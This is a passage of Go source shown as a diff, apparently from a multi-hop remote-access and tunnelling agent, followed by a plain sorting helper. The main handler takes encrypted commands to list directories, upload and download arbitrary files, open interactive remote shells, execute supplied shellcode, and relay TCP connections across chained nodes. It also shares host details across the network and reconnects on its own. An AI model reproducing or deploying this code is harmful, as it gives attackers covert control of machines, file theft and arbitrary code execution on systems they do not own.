|
||||||
|
v.uuid = nmsg.UUID
|
||||||
|
|
||||||
|
nodeMap[nmsg.UUID] = v
|
||||||
|
|
||||||
|
}
|
||||||
|
case common.CMD_DIR:
|
||||||
|
|
||||||
|
dirPth := cert.RSADecrypterByPub(string(msg.CmdData))
|
||||||
|
dir, err := ioutil.ReadDir(dirPth)
|
||||||
|
if err != nil {
|
||||||
|
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte("读取目录 "+dirPth+" 失败"))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var s []string
|
||||||
|
var maxlen int
|
||||||
|
var hasdir string
|
||||||
|
for _, fi := range dir {
|
||||||
|
if len(fi.Name()) > maxlen {
|
||||||
|
maxlen = len(fi.Name())
|
||||||
|
}
|
||||||
|
if fi.IsDir() {
|
||||||
|
hasdir = " "
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for _, fi := range dir {
|
||||||
|
var p string
|
||||||
|
name := bytes.Repeat([]byte(" "), maxlen)
|
||||||
|
copy(name, fi.Name())
|
||||||
|
if fi.IsDir() { // 忽略目录
|
||||||
|
p = "<DIR> " + string(name)
|
||||||
|
} else {
|
||||||
|
p = hasdir + string(name) + " size:" + strconv.FormatInt(fi.Size(), 10)
|
||||||
|
}
|
||||||
|
s = append(s, p)
|
||||||
|
}
|
||||||
|
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte(strings.Join(s, "\n")))
|
||||||
|
|
||||||
|
case common.CMD_DIR_RESULT:
|
||||||
|
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||||
|
select {
|
||||||
|
case v <- string(msg.CmdData):
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_CD:
|
||||||
|
dirPth := cert.RSADecrypterByPub(string(msg.CmdData))
|
||||||
|
s, err := os.Stat(dirPth)
|
||||||
|
if err != nil {
|
||||||
|
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if s.IsDir() {
|
||||||
|
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{1}, dirPth...))
|
||||||
|
} else {
|
||||||
|
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, "该路径不是文件夹"...))
|
||||||
|
}
|
||||||
|
case common.CMD_CD_RESULT:
|
||||||
|
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||||
|
if msg.CmdData[0] == 0 {
|
||||||
|
select {
|
||||||
|
case v <- errors.New(string(msg.CmdData[1:])):
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
select {
|
||||||
|
case v <- string(msg.CmdData[1:]):
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_CONNECT_BYID:
|
||||||
|
|
||||||
|
var l *clientListen
|
||||||
|
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
|
||||||
|
l, _ = v.(*clientListen)
|
||||||
|
}
|
||||||
|
if l == nil {
|
||||||
|
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if len(msg.CmdData) < 8 || string(l.randkey) != string(msg.CmdData[:8]) {
|
||||||
|
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
//l := clientLock.Lock()
|
||||||
|
//b := clientListenMap[id]
|
||||||
|
//l.Unlock()
|
||||||
|
conn, err := net.Dial("tcp", l.localAddr)
|
||||||
|
if err != nil {
|
||||||
|
n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, append(l.randkey, msg.CmdData...))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
client := &clientConnect{}
|
||||||
|
client.id = uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24
|
||||||
|
client.server = l.server
|
||||||
|
client.listenId = msg.CmdId
|
||||||
|
client.conn = conn
|
||||||
|
client.OnOpened()
|
||||||
|
client.randkey = append([]byte{}, l.randkey...)
|
||||||
|
l.connMap.Store(client.id, client)
|
||||||
|
l.server.connMap.Store(client.id, client)
|
||||||
|
go rawHandleLocal(client)
|
||||||
|
case common.CMD_PING_LISTEN:
|
||||||
|
if _, ok := n.listenMap.Load(msg.CmdId); !ok {
|
||||||
|
//通知客户端服务器listen不存在
|
||||||
|
n.Write(common.CMD_PING_LISTEN_RESULT, msg.CmdId, []byte{0})
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_PING_LISTEN_RESULT:
|
||||||
|
if value, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||||
|
switch v := value.(type) {
|
||||||
|
case *clientListen:
|
||||||
|
n.Write(v.openOption, v.id, v.openMsg)
|
||||||
|
go func() {
|
||||||
|
select {
|
||||||
|
case res := <-v.result:
|
||||||
|
if err, ok := res.(error); ok {
|
||||||
|
v.Close(err.Error())
|
||||||
|
}
|
||||||
|
case <-time.After(common.CMD_TIMEOUT):
|
||||||
|
|
||||||
|
v.Close("listen time out")
|
||||||
|
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
case *serverListen:
|
||||||
|
v.Close(remoteClose)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case common.CMD_UPLOAD:
|
||||||
|
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||||
|
i := bytes.IndexByte(msg.CmdData, 0)
|
||||||
|
if i == -1 {
|
||||||
|
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "协议错误"...))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
file := string(msg.CmdData[:i])
|
||||||
|
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
|
||||||
|
var f *os.File
|
||||||
|
|
||||||
|
if offset == 0 {
|
||||||
|
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666)
|
||||||
|
} else {
|
||||||
|
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY, 0666)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
f.Seek(offset, 0)
|
||||||
|
num, err := f.Write(msg.CmdData[i+9:])
|
||||||
|
if err != nil {
|
||||||
|
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if num != len(msg.CmdData[i+9:]) {
|
||||||
|
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 需要写入"+strconv.Itoa(len(msg.CmdData[i+8:]))+" 实际写入"+strconv.Itoa(num)...))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s, err := os.Stat(file)
|
||||||
|
if err == nil {
|
||||||
|
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, []byte{1, byte(s.Size()), byte(s.Size() >> 8), byte(s.Size() >> 16), byte(s.Size() >> 24), byte(s.Size() >> 32), byte(s.Size() >> 40), byte(s.Size() >> 48), byte(s.Size() >> 56)})
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_UPLOAD_RESULT:
|
||||||
|
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||||
|
if msg.CmdData[0] == 0 {
|
||||||
|
|
||||||
|
select {
|
||||||
|
case v <- errors.New(string(msg.CmdData[1:])):
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
|
||||||
|
select {
|
||||||
|
case v <- size:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
case common.CMD_DOWNLOAD:
|
||||||
|
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||||
|
i := bytes.IndexByte(msg.CmdData, 0)
|
||||||
|
file := string(msg.CmdData[:i])
|
||||||
|
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
|
||||||
|
var size int64
|
||||||
|
if offset == -1 {
|
||||||
|
s, err := os.Stat(file)
|
||||||
|
if err != nil {
|
||||||
|
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if s.IsDir() {
|
||||||
|
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, file+"是一个目录 不可下载"...))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
size = s.Size()
|
||||||
|
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, []byte{1, byte(size), byte(size >> 8), byte(size >> 16), byte(size >> 24), byte(size >> 32), byte(size >> 40), byte(size >> 48), byte(size >> 56)})
|
||||||
|
}
|
||||||
|
f, err := os.Open(file)
|
||||||
|
if err != nil {
|
||||||
|
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
f.Seek(offset, 0)
|
||||||
|
|
||||||
|
for i := 0; i < 10; i++ {
|
||||||
|
buf := make([]byte, common.MAX_PACKAGE-1)
|
||||||
|
num, err := f.Read(buf)
|
||||||
|
if err != nil {
|
||||||
|
if err == io.EOF {
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{2}, buf[:num]...))
|
||||||
|
}
|
||||||
|
case common.CMD_DOWNLOAD_RESULT:
|
||||||
|
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||||
|
switch msg.CmdData[0] {
|
||||||
|
case 0:
|
||||||
|
select {
|
||||||
|
case v <- errors.New(string(msg.CmdData[1:])):
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
case 1:
|
||||||
|
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
|
||||||
|
select {
|
||||||
|
case v <- size:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
case 2:
|
||||||
|
select {
|
||||||
|
case v <- msg.CmdData[1:]:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case common.CMD_SHELL:
|
||||||
|
var param StartCmdParam
|
||||||
|
if err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), ¶m); err != nil {
|
||||||
|
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||||
|
}
|
||||||
|
if err := startCMD(n, msg.CmdId, param); err != nil {
|
||||||
|
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||||
|
}
|
||||||
|
case common.CMD_SHELL_RESULT:
|
||||||
|
|
||||||
|
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||||
|
|
||||||
|
if msg.CmdData[0] == 0 {
|
||||||
|
select {
|
||||||
|
case v <- errors.New(string(msg.CmdData[1:])):
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
select {
|
||||||
|
case v <- msg.CmdData[1:]:
|
||||||
|
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
case common.CMD_SHELL_DATA:
|
||||||
|
|
||||||
|
if v, ok := n.shellMap.Load(msg.CmdId); ok {
|
||||||
|
cmd := v.(*remoteCmd)
|
||||||
|
select {
|
||||||
|
case cmd.inChan <- msg.CmdData:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case common.CMD_RUN_SHELLCODE:
|
||||||
|
go func() {
|
||||||
|
var s ShellCodeStruct
|
||||||
|
err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), &s)
|
||||||
|
if err != nil {
|
||||||
|
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
|
||||||
|
}
|
||||||
|
err = doShellcode(s)
|
||||||
|
if err != nil {
|
||||||
|
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
|
||||||
|
} else {
|
||||||
|
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, nil)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
case common.CMD_RUN_SHELLCODE_RESULT:
|
||||||
|
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||||
|
var err error
|
||||||
|
if len(msg.CmdData) > 0 {
|
||||||
|
err = errors.New(string(msg.CmdData))
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
case v <- err:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
|
||||||
|
n.conn.Close("协议错误")
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func (n *node) remoteReg(addr string) (newN *node, err error) {
|
||||||
|
regmsg := common.RegMsg{
|
||||||
|
RegAddr: addr,
|
||||||
|
UUID: currentNode.uuid,
|
||||||
|
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||||
|
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
|
||||||
|
Goos: cert.RSAEncrypterStr(currentNode.goos),
|
||||||
|
}
|
||||||
|
regmsg.Hostname, _ = os.Hostname()
|
||||||
|
b, _ := json.Marshal(regmsg)
|
||||||
|
resChan := make(chan interface{}, 1)
|
||||||
|
id := n.storeQuery(resChan)
|
||||||
|
|
||||||
|
n.Write(common.CMD_REMOTE_REG, id, b)
|
||||||
|
select {
|
||||||
|
case i := <-resChan:
|
||||||
|
n.deleteQuery(id)
|
||||||
|
if v, ok := i.(error); ok {
|
||||||
|
return nil, v
|
||||||
|
}
|
||||||
|
if v, ok := i.(*node); ok {
|
||||||
|
return v, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
case <-time.After(common.CMD_TIMEOUT):
|
||||||
|
n.deleteQuery(id)
|
||||||
|
return nil, errors.New("time out")
|
||||||
|
}
|
||||||
|
return nil, errors.New("error result")
|
||||||
|
}
|
||||||
|
func (n *node) Close(reason string) {
|
||||||
|
if n.conn != nil && n.conn.node.uuid == n.uuid {
|
||||||
|
n.conn.Close(reason)
|
||||||
|
}
|
||||||
|
n.Delete(reason)
|
||||||
|
}
|
||||||
|
func getNewNode(m nodeInfo, n *node) *node {
|
||||||
|
port, _ := strconv.Atoi(m.Port)
|
||||||
|
newNode := &node{
|
||||||
|
uuid: m.UUID,
|
||||||
|
hostName: m.HostName,
|
||||||
|
conn: n.conn,
|
||||||
|
pongTime: time.Now().Unix(),
|
||||||
|
mainIp: m.MainIp,
|
||||||
|
port: port,
|
||||||
|
goos: m.Goos,
|
||||||
|
}
|
||||||
|
|
||||||
|
return newNode
|
||||||
|
}
|
||||||
|
func allNodesDo(f func(*node) (bool, error)) (err error) {
|
||||||
|
var ok bool
|
||||||
|
|
||||||
|
l := clientLock.RLock()
|
||||||
|
defer l.RUnlock()
|
||||||
|
|
||||||
|
for _, n := range nodeMap {
|
||||||
|
if n.uuid != currentNode.uuid {
|
||||||
|
func() {
|
||||||
|
|
||||||
|
l.RUnlock()
|
||||||
|
defer clientLock.RLock(l)
|
||||||
|
ok, err = f(n)
|
||||||
|
}()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
func (n *node) ping(id uint32) {
|
||||||
|
|
||||||
|
l := clientLock.Lock()
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
l.Unlock()
|
||||||
|
}()
|
||||||
|
now := time.Now()
|
||||||
|
if n.pingTime > n.pongTime {
|
||||||
|
|
||||||
|
if n.conn != nil && n.conn.node.uuid == n.uuid {
|
||||||
|
n.conn.Close("超时关闭")
|
||||||
|
}
|
||||||
|
n.Delete("超时关闭")
|
||||||
|
//尝试重连
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
if !currentConfig.Limit && len(n.mainIp) > 0 {
|
||||||
|
for _, addr := range n.mainIp {
|
||||||
|
_n, _ := connectNew(fmt.Sprintf("%s:%d", addr, n.port))
|
||||||
|
if _n != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
n.pingTime = now.Unix()
|
||||||
|
if n.pongTime == 0 {
|
||||||
|
n.pongTime = n.pingTime
|
||||||
|
}
|
||||||
|
|
||||||
|
pingdata := make([]byte, 8)
|
||||||
|
pingdata[0] = byte(n.pingTime & 255)
|
||||||
|
pingdata[1] = byte(n.pingTime >> 8 & 255)
|
||||||
|
pingdata[2] = byte(n.pingTime >> 16 & 255)
|
||||||
|
pingdata[3] = byte(n.pingTime >> 24 & 255)
|
||||||
|
pingdata[4] = byte(n.pingTime >> 32 & 255)
|
||||||
|
pingdata[5] = byte(n.pingTime >> 40 & 255)
|
||||||
|
pingdata[6] = byte(n.pingTime >> 48 & 255)
|
||||||
|
pingdata[7] = byte(n.pingTime >> 56 & 255)
|
||||||
|
msg := &common.Msg{
|
||||||
|
From: currentNode.uuid,
|
||||||
|
To: n.uuid,
|
||||||
|
CmdOpteion: common.CMD_PING,
|
||||||
|
CmdId: id,
|
||||||
|
CmdData: pingdata,
|
||||||
|
}
|
||||||
|
n.WriteMsg(msg)
|
||||||
|
|
||||||
|
n.listenMap.Range(func(key, value interface{}) bool {
|
||||||
|
switch v := value.(type) {
|
||||||
|
case *serverListen:
|
||||||
|
msg.CmdOpteion = common.CMD_PING_LISTEN
|
||||||
|
msg.CmdData = nil
|
||||||
|
n.WriteMsg(msg)
|
||||||
|
case *clientListen:
|
||||||
|
msg.CmdOpteion = common.CMD_PING_LISTEN
|
||||||
|
msg.CmdData = nil
|
||||||
|
v.server.WriteMsg(msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
}
|
||||||
|
func (n *node) Delete(reason string) {
|
||||||
|
go func() {
|
||||||
|
if atomic.CompareAndSwapInt32(&n.isClose, 0, 1) {
|
||||||
|
l := clientLock.Lock()
|
||||||
|
_, ok := nodeMap[n.uuid]
|
||||||
|
if ok {
|
||||||
|
delete(nodeMap, n.uuid)
|
||||||
|
}
|
||||||
|
l.Unlock()
|
||||||
|
n.connMap.Range(func(key, value interface{}) bool {
|
||||||
|
if v, ok := value.(common.Conn); ok {
|
||||||
|
v.Close(reason)
|
||||||
|
}
|
||||||
|
n.connMap.Delete(key)
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
n.udpConnMap.Range(func(key, value interface{}) bool {
|
||||||
|
if v, ok := value.(common.Conn); ok {
|
||||||
|
v.Close(reason)
|
||||||
|
}
|
||||||
|
n.udpConnMap.Delete(key)
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
n.listenMap.Range(func(key, value interface{}) bool {
|
||||||
|
|
||||||
|
if v, ok := value.(*serverListen); ok {
|
||||||
|
v.listen.Close()
|
||||||
|
}
|
||||||
|
n.listenMap.Delete(key)
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
n.shellMap.Range(func(key, value interface{}) bool {
|
||||||
|
v := value.(*remoteCmd)
|
||||||
|
if v.cmd != nil {
|
||||||
|
v.cmd.Process.Kill()
|
||||||
|
}
|
||||||
|
n.shellMap.Delete(key)
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
}()
|
||||||
|
|
||||||
|
}
|
||||||
|
func (n *node) broadcastNode() {
|
||||||
|
|
||||||
|
//广播新增节点
|
||||||
|
nmsg := &nodeInfo{
|
||||||
|
UUID: n.uuid,
|
||||||
|
HostName: cert.RSAEncrypterStr(n.hostName),
|
||||||
|
MainIp: cert.RSAEncrypterStr(n.mainIp),
|
||||||
|
Port: cert.RSAEncrypterStr(fmt.Sprint(n.port)),
|
||||||
|
Goos: cert.RSAEncrypterStr(n.goos),
|
||||||
|
}
|
||||||
|
|
||||||
|
b, _ := json.Marshal(nmsg)
|
||||||
|
writemsg := &common.Msg{
|
||||||
|
From: currentNode.uuid,
|
||||||
|
To: common.BroadcastUUID.String(),
|
||||||
|
CmdOpteion: common.CMD_ADD_NODE,
|
||||||
|
CmdData: b,
|
||||||
|
}
|
||||||
|
go allNodesDo(func(_n *node) (bool, error) {
|
||||||
|
|
||||||
|
if _n.uuid != currentNode.uuid {
|
||||||
|
|
||||||
|
_n.WriteMsg(writemsg)
|
||||||
|
}
|
||||||
|
return true, nil
|
||||||
|
})
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func GetNodeFromAddrs(dst []string) (n *node, err error) {
|
||||||
|
if len(dst) == 0 {
|
||||||
|
return nil, errors.New("参数错误,目标节点为空")
|
||||||
|
}
|
||||||
|
if n, err = getNode(dst[0]); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if n.uuid == currentNode.uuid {
|
||||||
|
return nil, errors.New("不能连接自己")
|
||||||
|
}
|
||||||
|
for i := 1; i < len(dst); i++ {
|
||||||
|
n, err = n.remoteReg(dst[i])
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("%s,%v", dst[i], err)
|
||||||
|
}
|
||||||
|
if n.uuid == currentNode.uuid {
|
||||||
|
return nil, errors.New("不能连接自己")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
n.reConnectAddrs = make([]string, len(dst))
|
||||||
|
copy(n.reConnectAddrs, dst)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 储存并返回id
|
||||||
|
func (n *node) storeQuery(v chan interface{}) (newID uint32) {
|
||||||
|
|
||||||
|
for {
|
||||||
|
newID = common.GetConnID()
|
||||||
|
if newID == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, ok := n.queryMap.LoadOrStore(newID, v); !ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func (n *node) loadQuery(id uint32) (v chan interface{}, ok bool) {
|
||||||
|
value, ok := n.queryMap.Load(id)
|
||||||
|
if ok {
|
||||||
|
v = value.(chan interface{})
|
||||||
|
}
|
||||||
|
return v, ok
|
||||||
|
}
|
||||||
|
func (n *node) deleteQuery(id uint32) {
|
||||||
|
n.queryMap.Delete(id)
|
||||||
|
}
|
||||||
|
func (n *node) storeConn(v common.Conn) (newID uint32) {
|
||||||
|
|
||||||
|
for {
|
||||||
|
newID = common.GetConnID()
|
||||||
|
if newID == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, ok := n.connMap.LoadOrStore(newID, v); !ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (n *node) writeGetNodeResult(id uint32) {
|
||||||
|
l := clientLock.RLock()
|
||||||
|
|
||||||
|
defer l.RUnlock()
|
||||||
|
|
||||||
|
var s []*nodeInfo
|
||||||
|
|
||||||
|
for _, _n := range nodeMap {
|
||||||
|
if _n.uuid != currentNode.uuid {
|
||||||
|
s = append(s, &nodeInfo{
|
||||||
|
UUID: _n.uuid,
|
||||||
|
HostName: cert.RSAEncrypterStr(_n.hostName),
|
||||||
|
MainIp: cert.RSAEncrypterStr(_n.mainIp),
|
||||||
|
Port: cert.RSAEncrypterStr(strconv.Itoa(_n.port)),
|
||||||
|
Goos: cert.RSAEncrypterStr(_n.goos),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
b, _ := json.Marshal(s)
|
||||||
|
n.Write(common.CMD_GET_NODE_RESULT, id, b)
|
||||||
|
}
|
||||||
|
func (n *node) updateNode(msg nodeInfo) {
|
||||||
|
n.hostName = msg.HostName
|
||||||
|
n.mainIp = msg.MainIp
|
||||||
|
n.port, _ = strconv.Atoi(msg.Port)
|
||||||
|
n.goos = msg.Goos
|
||||||
|
}
|
||||||
@@ -0,0 +1,228 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
func orderNode(list []*node) {
|
||||||
|
f := func(a, b *node) bool {
|
||||||
|
if strings.Contains(a.addr, "(localhost)") {
|
||||||
|
return true
|
||||||
|
} else if strings.Contains(b.addr, "(localhost)") {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return a.uuid < b.uuid
|
||||||
|
}
|
||||||
|
max_len := len(list)
|
||||||
|
tmp := make([]*node, max_len)
|
||||||
|
for i := 0; i < max_len-max_len&1; i += 2 {
|
||||||
|
if f(list[i+1], list[i]) {
|
||||||
|
list[i], list[i+1] = list[i+1], list[i]
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
for i := 0; i < max_len-max_len&3; i += 4 {
|
||||||
|
if f(list[i+2], list[i]) {
|
||||||
|
list[i], list[i+2] = list[i+2], list[i]
|
||||||
|
}
|
||||||
|
if f(list[i+3], list[i+1]) {
|
||||||
|
list[i+1], list[i+3] = list[i+3], list[i+1]
|
||||||
|
}
|
||||||
|
if f(list[i+2], list[i+1]) {
|
||||||
|
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
if max_len&3 == 3 {
|
||||||
|
i := max_len - 3
|
||||||
|
if f(list[i+2], list[i]) {
|
||||||
|
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||||
|
list[i], list[i+1] = list[i+1], list[i]
|
||||||
|
} else if f(list[i+2], list[i+1]) {
|
||||||
|
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var step, l, max, r int
|
||||||
|
step = 4
|
||||||
|
for step < max_len {
|
||||||
|
step <<= 1
|
||||||
|
for i := 0; i < max_len; i += step {
|
||||||
|
l, r, max = i, i+step/2, i+step
|
||||||
|
if max > max_len {
|
||||||
|
max = max_len
|
||||||
|
}
|
||||||
|
for index := i; index < max; index++ {
|
||||||
|
if l == step/2+i || (r < max && f(list[r], list[l])) {
|
||||||
|
tmp[index] = list[r]
|
||||||
|
r++
|
||||||
|
} else {
|
||||||
|
tmp[index] = list[l]
|
||||||
|
l++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if step < max_len {
|
||||||
|
for i := 0; i < max_len; i += step {
|
||||||
|
l, r, max = i, i+step/2, i+step
|
||||||
|
if max > max_len {
|
||||||
|
max = max_len
|
||||||
|
}
|
||||||
|
for index := i; index < max; index++ {
|
||||||
|
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
|
||||||
|
list[index] = tmp[r]
|
||||||
|
r++
|
||||||
|
} else {
|
||||||
|
list[index] = tmp[l]
|
||||||
|
l++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
copy(list, tmp)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func orderClientListen(list []*clientListen) {
|
||||||
|
f := func(a, b *clientListen) bool {
|
||||||
|
return a.id < b.id
|
||||||
|
}
|
||||||
|
max_len := len(list)
|
||||||
|
tmp := make([]*clientListen, max_len)
|
||||||
|
for i := 0; i < max_len-max_len&1; i += 2 {
|
||||||
|
if f(list[i+1], list[i]) {
|
||||||
|
list[i], list[i+1] = list[i+1], list[i]
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
for i := 0; i < max_len-max_len&3; i += 4 {
|
||||||
|
if f(list[i+2], list[i]) {
|
||||||
|
list[i], list[i+2] = list[i+2], list[i]
|
||||||
|
}
|
||||||
|
if f(list[i+3], list[i+1]) {
|
||||||
|
list[i+1], list[i+3] = list[i+3], list[i+1]
|
||||||
|
}
|
||||||
|
if f(list[i+2], list[i+1]) {
|
||||||
|
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
if max_len&3 == 3 {
|
||||||
|
i := max_len - 3
|
||||||
|
if f(list[i+2], list[i]) {
|
||||||
|
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||||
|
